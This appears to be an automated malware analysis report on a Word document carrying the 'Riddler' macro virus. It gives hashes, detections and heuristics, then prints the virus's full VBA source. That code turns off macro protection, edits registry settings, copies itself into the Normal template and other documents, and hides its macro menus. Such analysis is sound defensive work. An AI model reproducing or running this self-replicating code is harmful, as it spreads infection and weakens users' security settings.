Win.Trojan.Psyjan — Office (OLE) malware analysis

Static analysis result for SHA-256 674ea190047d75db…

MALICIOUS

Office (OLE)

32.5 KB Created: 2000-05-18 22:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 03b0476a68ea8f21184697a58478530d SHA-1: 3b059461ef6bf685eb8293daf7b7f02ad81ba6fa SHA-256: 674ea190047d75dbd900f6853a43d743726f2ea88b439e4a773f4348ab277308
258 Risk Score

Malware Insights

Win.Trojan.Psyjan · confidence 85%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro, which is a common technique for macro-based malware. The script attempts to export a component to 'c:\Riddler.sys' and import it, indicating an attempt to infect the system and potentially establish persistence. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Fool-4' further supports its malicious nature.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
      sFileName = Environ("Windir")
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www1.tpgi.com.au/users/aali/riddles_galore.html In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3988 bytes
SHA-256: 953d3bedf29550fe9442dfb6e0aff9d61692749101131ff69988bdf1d1de78ea
Detection
ClamAV: Doc.Trojan.Fool-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Riddler"

Sub AutoOpen()
    'Riddler Virus v1.00
    'The WaLRuS 05/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    Set Norm = NormalTemplate.VBProject.VBComponents
    Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Riddler").Name <> "Riddler" Then
    Doc("Riddler").Export "c:\Riddler.sys"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Riddler").Name <> "Riddler" Then
    Norm("Riddler").Export "c:\Riddler.sys"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Riddler.sys")
Kill ("c:\Riddler.sys")
ActiveDocument.Save
Call PayloadCounter
End Sub

Sub PayloadCounter()
On Error Resume Next
Dim sCounter As String
Dim sFileName As String

  sFileName = Environ("Windir")
  If Right(sFileName, 1) <> "\" Then
    sFileName = sFileName & "\"
  End If
  sFileName = sFileName & "WIN.INI"

  sCounter = System.PrivateProfileString(sFileName, "Riddler", "Counter")
  If Val(sCounter) <> "200" Then
    sCounter = Val(sCounter) + 1
    System.PrivateProfileString(sFileName, "Riddler", "Counter") = sCounter
  Else
    MsgBox "Hello there " & Application.UserName & vbCr & "I wont let you continue until you" & vbCr & "answer Me these riddles Three." & vbCr & vbCr & "Please enter in lower case only", 0, "Riddler"
    Call FirstRiddle
  End If
End Sub

Sub FirstRiddle()
On Error Resume Next
Riddle1 = InputBox("He has a look of awful scorn, " & vbCr & "And wears his clothes a funny way, " & vbCr & "Waving his hands over fields of corn, " & vbCr & "He keeps the birds away! ", "A Simple One To Start")
If Riddle1 = "scarecrow" Then
MsgBox "Correct", 0, "Correct, on to riddle 2"
Call SecondRiddle
Else: MsgBox "Oh Dear, Try again, Help can be found at http://www1.tpgi.com.au/users/aali/riddles_galore.html", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub SecondRiddle()
On Error Resume Next
Riddle2 = InputBox("The man who invented it, doesn't want it. " & vbCr & "The man who bought it, doesn't need it. " & vbCr & "The man who needs it, doesn't know it. ", "Getting Harder")
If Riddle2 = "coffin" Then
MsgBox "Correct, Just 1 more riddle", 0, "Correct"
Call ThirdRiddle
Else: MsgBox "Oh Dear, Start again", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub ThirdRiddle()
On Error Resume Next
Riddle3 = InputBox("What goes around the world but stays in a corner? ", "Even Harder")
If Riddle3 = "stamp" Then
MsgBox "Very Good 3 out of 3" & vbCr & "You may continue", 0, "Correct"

Dim sCounter As String
Dim sFileName As String

  sFileName = Environ("Windir")
  If Right(sFileName, 1) <> "\" Then
    sFileName = sFileName & "\"
  End If
  sFileName = sFileName & "WIN.INI"

  sCounter = System.PrivateProfileString(sFileName, "Riddler", "Counter")
    sCounter = Val(sCounter) + 1
    System.PrivateProfileString(sFileName, "Riddler", "Counter") = sCounter
Else: MsgBox "Oh You were so close. Start again ;-)", 0, "Incorrect"
Call PayloadCounter
End If
End Sub

Sub HelpAbout()
    MsgBox "Riddler by The WaLRuS", 0, "The Shadow Knows..."
End Sub

' basic stealth
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub